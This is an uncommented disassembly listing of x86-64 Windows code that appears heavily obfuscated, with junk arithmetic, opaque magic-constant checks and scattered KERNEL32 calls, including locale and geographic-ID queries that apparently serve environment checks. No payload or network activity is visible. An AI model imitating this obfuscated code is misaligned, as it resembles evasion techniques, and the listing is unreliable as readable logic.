mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx eax, word [rbp + 0x152c]
or eax, ecx
movzx eax, ax
cmp edx, eax
jg 0x140007e83
mov rdx, qword [rbp + 0x2378]
movabs rax, 0x51000a58250c0440
cmp rdx, rax
jne 0x140007e64
mov rax, qword [rbp + 0x3d18]
test rax, rax
jne 0x140007e4a
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [0x1400e1030]
sub edx, eax
mov dword [rbp + 0x3424], edx
mov dword [rbp + 0x1571c], 0x498d
lea rax, [rbp + 0x221a]
mov qword [rbp + 0x156e8], rax
lea rax, [rbp + 0x32a]
mov qword [rbp + 0x6c0], rax
lea rax, [rbp + 0x24aa]
mov qword [rbp + 0x9b8], rax
jmp 0x140007e62
movzx edx, word [rbp + 0x152c]
movzx eax, word [rbp + 0x129e]
add eax, edx
mov word [rbp + 0x5dc], ax
nop
jmp 0x140007ed2
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x44f0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
jmp 0x140007ed2
mov rax, qword [rbp + 0x15690]
movzx edx, word [rax]
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
and eax, edx
movsx ecx, ax
movzx eax, word [rbp + 0x4dfc]
movsx edx, ax
movzx eax, word [rbp + 0x32a]
cwde
sub edx, eax
cmp ecx, edx
je 0x140007ed2
mov rax, qword [rbp + 0x15150]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
call rax
mov dword [rbp + 0x15160], eax
mov dword [rbp + 0x15734], 0x8bbe
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
movsx eax, al
lea ecx, [rdx + rax]
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
movzx eax, byte [rbp + 0x3507]
movsx eax, al
imul eax, edx
cmp ecx, eax
jge 0x140007f62
movzx eax, word [rbp + 0x129e]
movzx eax, ax
cmp eax, 0x2e1
jne 0x140007f44
mov rax, qword [rbp + 0x4830]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x2764]
mov rax, qword [rbp + 0x4830]
and edx, ecx
mov dword [rax], edx
jmp 0x1400080c1
mov edx, dword [0x1400dd310]
mov eax, dword [rbp + 0x50c8]
sub edx, eax
mov dword [rbp + 0x194], edx
call fcn.1400c881f
jmp 0x1400080c1
mov rax, qword [rbp + 0x3d18]
movabs rdx, 0x1f6e6bf492137391
add rax, rdx
movabs rdx, 0x385319257676157b
cmp rdx, rax
jb 0x14000809c
mov rax, qword [rbp + 0x3d18]
mov qword [rbp + 0x44f8], rax
lea rax, [rbp + 0x4f88]
mov qword [rbp + 0x3ce8], rax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
cwde
test eax, eax
je 0x140008052
cmp eax, 0x54d8
jne 0x1400080c1
mov rax, qword [rbp + 0x3d18]
movabs rdx, 0x710b84d590c4da3
cmp rax, rdx
je 0x140007fed
movabs rdx, 0x839fc16058898db
cmp rax, rdx
je 0x140008025
jmp 0x1400080c1
mov rax, qword [rbp + 0x15720]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
or edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov rax, qword [rbp + 0x46b0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x4dfc]
xor eax, edx
mov word [rbp + 0x32a], ax
jmp 0x140008050
lea rcx, [rbp + 0x2f40]
lea rdx, [rbp + 0x3424]
mov rax, qword [rbp + 0x15130]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call rax
mov dword [rbp + 0x1512c], eax
nop
jmp 0x1400080c1
lea rax, [rbp + 0x24aa]
mov qword [rbp + 0x3230], rax
movzx eax, word [rbp + 0x152c]
movzx edx, ax
movzx eax, word [rbp + 0x129e]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x4148]
mov word [rax], dx
mov edx, dword [rbp + 0x2764]
mov eax, dword [rbp + 0x2728]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [0x1400dd314], eax
jmp 0x1400080c1
mov rax, qword [rbp + 0x4f88]
movabs rdx, 0x5c12efcc41ec5fbc
add rdx, rax
mov rax, qword [rbp + 0x2378]
cmp rdx, rax
jl 0x1400080c1
call fcn.1400c881f
mov dword [rbp + 0x15754], 0xd2eb
jmp 0x1400083a5
movzx edx, byte [rbp + 0x24aa]
movzx eax, byte [rbp + 0x3507]
and edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov edx, dword [rbp + 0x2764]
mov eax, dword [rbp + 0x3b8]
sub edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x44f8]
movabs rdx, 0xfca962f2256b41f0
add rax, rdx
mov qword [rbp + 0x3d18], rax
mov rcx, qword [rbp + 0x4f88]
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x3ce8]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x50c8]
sub edx, eax
mov dword [rbp + 0x3424], edx
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx eax, word [rbp + 0x152c]
add eax, edx
mov word [rbp + 0x36a6], ax
sub dword [rbp + 0x1571c], 0x97
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x221a], al
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x24aa]
or eax, edx
mov byte [rbp + 0x3507], al
movzx eax, word [rbp + 0x3e7e]
movsx edx, ax
movzx eax, word [rbp + 0x4dfc]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x4f88]
mov ecx, eax
mov rax, qword [rbp + 0x3ce8]
sar rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
xor edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov edx, dword [rbp + 0x3424]
mov eax, dword [rbp + 0x194]
sub edx, eax
mov dword [rbp + 0x50c8], edx
mov ecx, dword [rbp + 0x50c8]
mov edx, dword [rbp + 0x194]
mov rax, qword [rbp + 0x2f40]
and edx, ecx
mov dword [rax], edx
movzx edx, word [rbp + 0x129e]
movzx eax, word [rbp + 0x36a6]
add eax, edx
mov word [rbp + 0x5dc], ax
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x9b8]
mov byte [rax], dl
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x32a]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x156e8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x221a], al
mov rax, qword [rbp + 0x15140]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
add edx, ecx
mov byte [rax], dl
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x4f88], rdx
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [0x1400e1030]
mov rax, qword [rbp + 0x2f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x9b8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3507]
and edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
or eax, edx
mov dword [rbp + 0x3b8], eax
movzx eax, word [rbp + 0x36a6]
movzx edx, ax
movzx eax, word [rbp + 0x152c]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x4148]
mov word [rax], dx
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx eax, word [rbp + 0x129e]
xor eax, edx
mov word [rbp + 0x152c], ax
cmp dword [rbp + 0x1571c], 0x430f
ja 0x1400080d0
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov ecx, edx
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x129e]
movzx eax, ax
add eax, edx
cmp ecx, eax
jge 0x140008412
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
add rax, rdx
mov qword [rbp + 0x2378], rax
jmp 0x1400c8575
mov edx, dword [0x1400dd314]
mov eax, dword [rbp + 0x2728]
add edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x44f0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
xor eax, edx
mov byte [rbp + 0x221a], al
mov rax, qword [rbp + 0x15738]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3507]
mov rax, qword [rbp + 0x9b8]
or edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x3e7e]
movsx edx, ax
movzx eax, word [rbp + 0x4dfc]
cwde
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
movzx eax, byte [rbp + 0x3507]
movsx edx, al
movzx eax, byte [rbp + 0x24aa]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x9b8]
mov byte [rax], dl
mov ecx, dword [rbp + 0x50c8]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov ecx, dword [rbp + 0x3b8]
mov edx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x4830]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
and rax, rdx
mov qword [rbp + 0x4f88], rax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
movzx ecx, word [rbp + 0x129e]
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x44f0]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
sub edx, eax
mov dword [0x1400dd314], edx
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x156e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x44f0]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
mov ecx, eax
mov rax, qword [rbp + 0x3ce8]
sar rdx, cl
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4f88]
mov rax, qword [rbp + 0x2378]
mov ecx, eax
mov rax, qword [rbp + 0x3ce8]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov rax, qword [rbp + 0x15660]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x2764], eax
mov ecx, dword [rbp + 0x3424]
mov edx, dword [rbp + 0x194]
mov rax, qword [rbp + 0x2f40]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15140]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x5dc], ax
mov rax, qword [rbp + 0x15720]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
add eax, edx
mov word [rbp + 0x4dfc], ax
mov rcx, qword [rbp + 0x4f88]
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x3ce8]
and rdx, rcx
mov qword [rax], rdx
mov ecx, dword [0x1400e1030]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x3b8], eax
mov rdx, qword [rbp + 0x4f88]
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x2378], rdx
add dword [rbp + 0x1572c], 0x95
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x32a], ax
mov rax, qword [rbp + 0x46b0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x4dfc]
mov rax, qword [rbp + 0x6c0]
or edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x152c]
movzx edx, ax
movzx eax, word [rbp + 0x5dc]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x4148]
mov word [rax], dx
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
xor eax, edx
mov byte [rbp + 0x221a], al
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
and rax, rdx
mov qword [rbp + 0x4f88], rax
mov ecx, dword [rbp + 0x194]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
sub ecx, edx
mov dword [rax], ecx
mov ecx, dword [rbp + 0x3b8]
mov edx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x4830]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add eax, edx
mov byte [rbp + 0x3507], al
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x15138]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0xa70]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x44f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
and edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x3e7e]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x32a]
add eax, edx
mov word [rbp + 0x3e7e], ax
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [0x1400e1030]
mov rax, qword [rbp + 0x2f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
mov ecx, eax
mov rax, qword [rbp + 0x3ce8]
sar rdx, cl
mov qword [rax], rdx
mov edx, dword [rbp + 0x3b8]
mov eax, dword [rbp + 0x2728]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
cmp dword [rbp + 0x1572c], 0xb9fd
jbe 0x140008412
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
test rax, rax
je 0x140008968
movabs rdx, 0x767b383b1b1260d4
cmp rax, rdx
je 0x1400c8496
jmp 0x1400c855c
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
sub edx, eax
mov ecx, dword [rbp + 0x2764]
mov eax, dword [rbp + 0x2728]
sub ecx, eax
cmp ecx, edx
jae 0x140008a4c
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
and rdx, rax
mov rax, qword [rbp + 0x2378]
cmp rdx, rax
jle 0x1400089e0
lea rax, [rbp + 0x4920]
mov r9d, 0xb3
mov r8, rax
mov edx, 0xae
mov ecx, 0x3d
mov rax, qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call rax
mov dword [rbp + 0x194], eax
jmp 0x140008b4c
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
add edx, eax
mov r8d, dword [rbp + 0x2764]
mov eax, dword [rbp + 0x2728]
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp eax, edx
jae 0x140008b4c
movzx edx, byte [rbp + 0x3507]
movzx eax, byte [rbp + 0x24aa]
or edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x44f8]
movabs rdx, 0x4b53a74127495984
xor rax, rdx
mov qword [rbp + 0x3d18], rax
call fcn.1400c881f
jmp 0x140008b4c
lea rax, [rbp + 0x4f88]
mov qword [rbp + 0x156a8], rax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x129e]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov ecx, edx
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx eax, ax
sub edx, eax
cmp ecx, edx
jge 0x140008b4c
movzx eax, word [rbp + 0x5dc]
movzx eax, ax
cmp eax, 0x500
je 0x140008ab8
cmp eax, 0xf16
je 0x140008b2d
jmp 0x140008b4c
mov ecx, dword [rbp + 0x3424]
mov edx, dword [rbp + 0x194]
mov rax, qword [rbp + 0x2f40]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
add eax, edx
mov dword [rbp + 0x2728], eax
mov ecx, 0x6a
mov rax, qword [sym.imp.KERNEL32.dll_GetUserGeoID]
call rax
mov dword [rbp + 0x3424], eax
mov ecx, dword [rbp + 0x3b8]
mov r9, qword [rbp + 0x44f8]
mov r8, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400033f0
jmp 0x140008b4c
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x221a]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x156e8]
mov byte [rax], dl
nop
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x15720]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x156e8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x221a], al
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
add eax, edx
mov dword [0x1400e1030], eax
mov rax, qword [rbp + 0x44f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
sub rdx, rax
mov rax, qword [rbp + 0x156a8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2764]
and edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov r8d, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x2f40]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x46b0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x3e7e]
mov rax, qword [rbp + 0x6c0]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
xor eax, edx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x156e8]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
movzx ecx, word [rbp + 0x5dc]
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x9f0]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15138]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
add edx, eax
mov rax, qword [rbp + 0x156e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x44f8]
movabs rdx, 0x7d28502f9e9ee9a2
add rax, rdx
mov qword [rbp + 0x3d18], rax
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2764]
add edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156a8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x4f88], rdx
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [0x1400e1030]
mov rax, qword [rbp + 0x2f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
add edx, eax
mov rax, qword [rbp + 0x6c0]
mov word [rax], dx
mov rax, qword [rbp + 0x44f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x156e8]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3507]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x9b8]
mov byte [rax], dl
mov edx, dword [rbp + 0x2764]
mov eax, dword [rbp + 0x3b8]
or edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov edx, dword [rbp + 0x204]
mov eax, dword [rbp + 0x50c8]
xor eax, edx
mov dword [rbp + 0x194], eax
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
and rdx, rax
mov rax, qword [rbp + 0x156a8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x3d18]
movabs rdx, 0xd232277eec17a610
add rax, rdx
mov qword [rbp + 0x44f8], rax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x3e7e], ax
add dword [rbp + 0x1566c], 0x3f
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x129e]
and eax, edx
mov word [rbp + 0x5dc], ax
mov edx, dword [0x1400dd310]
mov eax, dword [rbp + 0x50c8]
sub edx, eax
mov dword [0x1400e1030], edx
mov rax, qword [rbp + 0x44f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5dc]
add eax, edx
mov word [rbp + 0x129e], ax
movzx eax, word [rbp + 0x4dfc]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x2728], eax
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x9f0]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
or rdx, rax
mov rax, qword [rbp + 0x156a8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x24aa], al
movzx eax, byte [rbp + 0x221a]
movzx edx, al
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov rax, qword [rbp + 0x15720]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
and edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x32a]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x3e7e], ax
mov rax, qword [rbp + 0x44f8]
movabs rdx, 0x157a568415049743
add rax, rdx
mov qword [rbp + 0x3d18], rax
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x194]
mov rax, qword [rbp + 0x2f40]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x156a8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
and rax, rdx
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
